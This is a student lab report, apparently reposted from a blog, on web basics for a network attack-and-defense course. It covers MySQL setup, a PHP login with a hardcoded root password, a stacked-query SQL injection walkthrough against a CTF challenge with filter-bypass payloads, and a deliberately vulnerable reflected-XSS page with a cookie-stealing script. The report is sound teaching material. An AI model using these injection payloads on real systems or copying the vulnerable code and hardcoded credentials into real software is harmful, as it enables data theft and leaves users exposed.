zoukankan      html  css  js  c++  java
  • 175210闵天 《网络对抗技术》Exp8 Web基础

    实践目标

    本实践目标是构建 Web 服务,并进行一些简单的攻击实践

    实践过程

    web 前端

    React 写了一个注册界面,放在了nginx 上,如下:

    http://47.94.47.203:8080/register

    web 后端

    一、Mysql 基础 (Mysql 8 版本)

    linux 上默认装的是 psql ,就在 windows 主机上装了一个 mysql

    • 输入 show databases,查看有多少数据库

    • 使用 CREATE USER 'username'@'server' IDENTIFIED BY 'password'; 来创建新用户

    • 使用 GRANT (SELECT, update……) ON 数据库名.表名 TO '用户名'@'数据库IP'; 给新用户授权

    • 使用新建的用户登录

    二、编写PHP网页

    • windows 下启动 php

      php-cgi.exe -b 127.0.0.1:9000
      

    • 配置 nginx

    • 上图中的 root 下创建 index.php,内容为

      <?php
          echo phpinfo();
      ?>
      

      浏览器打开,可见

    • 大多数情况下还是使用 phpStorm,其会自动调用 php-cgi.exe ,并监听 9000 端口

    • php 简单的登录功能

      php 是一个安全问题非常严重的弱类型语言,操作数据库的底线是采用 预处理。这里我使用 PDO 预处理

      // index.php
      
      <?php
      
      $user_name = $_POST['username'];
      $password = $_POST['password'];
      
      $servername = "localhost";
      $db_user = "root";
      $db_password = "hwqmingdi";
      $dbname = "blog";
      
      try {
          $conn = new PDO("mysql:host=$servername;dbname=$dbname", $db_user, $db_password);
          $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
          $stmt = $conn->prepare("SELECT * FROM users where username = ? and password = ?");
          $stmt->execute(array($user_name, $password));
      
          // 设置结果集为关联数组
          $result = $stmt->fetchAll();
          if (count($result) > 0) {
              echo "Welcome " . $result[0]['username'];
          } else {
              echo "login fail";
          }
      }
      catch(PDOException $e) {
          echo "Error: " . $e->getMessage();
      }
      

      form 中的 action 写为 login.php,就可以登录

    sql 注入

    这里我们看这道题 https://github.com/glzjin/qwb_2019_supersqli

    • 首先探测参数引号闭合规则

      1' and 1=1# // true
      1' and 1=2# // false
      

      可见参数采用单引号闭合

    • 尝试获取列数

      1' order by 2# //正常
      1' order by 3# // 报错
      

      可以发现列数为 2 列

    • 试一试 union 查询

      1' union select user()#
      

      发现 select 等被过滤了

    • 试一试堆叠查询

      -1';show tables#
      

      我们可以看到数据库中有两个表,数组的第一项就是表名

    • 堆叠注入查看表的字段

      -1';desc `1919810931114514`#
      -1';desc `words`#
      

    • 我们要得到表 1919810931114514flag 字段。但是,select 已经被过滤掉了。这里我们可以采用 mysql 的预编译语法,如下:

      set用于设置变量名和值
      prepare用于预备一个语句,并赋予名称,以后可以引用该语句
      execute执行语句
      deallocate prepare用来释放掉预处理的语句
      

      采用

      -1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
      

      得到结果

    • strstr() 函数把 prepareset 过滤了,但是查阅资料,可以发现 strstr 这个函数区分大小写,我们将set, prepare 大写即可

      -1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#
      

      得到结果,注入成功

    xss

    xss 没有研究,只知道可以利用输入框等插入恶意代码

    <html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
        <title>XSS</title>
    </head>
    <body>
    <form action="" method="get">
        <input type="text" name="input" style=" 300px;">
        <input type="submit">
    </form>
    <br>
    <?php
    $XssReflex = $_GET['input'];
    echo 'output:<br>'.$XssReflex;
    ?>
    </body>
    </html>
    

    可以在 <input/> 中输入 <script>alert(document.cookie);</script>

    页面加载时会自动执行 <script> 内的语句,从而弹出 cookie

    实验总结与问题回答

    什么是表单

    • 表单可以进行前台向后台的数据传输。
    • 表单有三个基本组成部分:
      • 表单标签:包含处理表单数据所用CGI程序的URL以及数据提交到服务器的方法。
      • 表单域:包含文本框、密码框、多行文本框等一系列表单形式。
      • 表单按钮:包含提交按钮,复位按钮以及一般按钮

    浏览器可以解析运行什么语言

    首先,各脚本语言(php,asp 等)并不是浏览器解析运行的。

    浏览器可以自解析运行的有

    • html
    • javascript
    • css

    WebServer支持哪些动态语言

    • tomcat 支持的有 jsp
    • iis 支持 aspx
  • 相关阅读:
    javascript 原型和构造函数
    react native与原生的交互
    项目中git的用法
    web页面的回流,认识与避免
    js 中的算法题,那些经常看到的
    js中this的四种调用模式
    JS面向对象的几种写法
    模块化加载require.js
    es6新语法
    vue组件化开发
  • 原文地址:https://www.cnblogs.com/mtzf/p/12952899.html
Copyright © 2011-2022 走看看